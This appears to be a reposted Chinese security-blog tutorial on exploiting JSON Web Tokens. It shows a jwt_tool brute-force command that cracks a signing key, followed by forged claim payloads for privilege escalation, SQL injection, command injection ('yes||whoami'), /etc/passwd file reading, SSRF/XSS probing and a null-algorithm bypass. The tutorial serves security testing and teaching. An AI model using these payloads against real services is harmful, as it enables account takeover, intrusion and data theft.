0x01 前言
JSON Web 令牌 (JWT) 是一种标准化格式,用于在系统之间发送加密签名的 JSON 数据。理论上,它们可以包含任何类型的数据,但最常用于发送有关用户的信息(“声明”),作为身份验证、会话处理和访问控制机制的一部分。
末尾可领取JWT字典等资源文件
0x02 了解JWT
在项目中,发现了一个JWT,我们尝试进
https://jwt.io/
在大多数情况下,任何有权访问令牌的人都可以轻松读取或修改此数据。因此,任何基于JWT 的机制的安全性都严重依赖于加密签名。
0x03 爆破JWT
在项目中,对JWT进行攻击,不知道key的情况下,可以尝试爆破key。使用jwt_tool进行爆破(文章末尾提供27G超强字典)
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IjB4U2hlIiwic3lzYWRtaW4iOiJOIiwiaWF0IjoxNjkwOTg5ODMzfQ.APJSPp54jXCBAmN1sg5H4Bxvl8irb-n-Lq9SDRQT5Qs -C -d pass.txt
成功爆破出key为:0xShe123456
0x04 JWT漏洞利用
得到key以后,我们要对JWT进行攻击,在不同的项目中的攻击面也不同,接下来我们模拟一些常见的攻击场景
水平越权
把1234567890改为1234567891
{
"sub": "1234567890",
"name": "0xShe",
"sysadmin": "N",
"iat": 1690989833
}
垂直越权
把sysadmin的值N改为Y(NO改为YES或者false改为true)
{
"sub": "1234567890",
"name": "0xShe",
"sysadmin": "Y",
"iat": 1690989833
}
SQL注入
{
"sub": "1234567890",
"name": "0xShe",
"data": "1' UNION SELECT 'key';-- ",
"iat": 1690989833
}
命令执行
{
"sub": "1234567890",
"name": "0xShe",
"echo": "yes||whoami",
"iat": 1690989833
}
文件读取
{
"sub": "1234567890",
"name": "0xShe",
"path": "/etc/passwd",
"iat": 1690989833
}
JWT不仅仅用来做身份校验,还遇到过用来加密传参的,其实攻击手法大同小异,像一些XSS SSRF也可以进行测试。
{
"url": "http://sbbbb.cn/",
"iat": 1690989833
}
XSS
插入xss payload可以测xss
http://a.com?url=jwt的时候插入xss payload可以测xss
其他
jwt会声明使用一些比如hash算法,可以试试把hash那一块改成空,部分场景可以直接绕过。
0x05
原文始发于微信公众号(渗透安全HackTwo):常见的JWT令牌的漏洞利用方式-漏洞探测
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论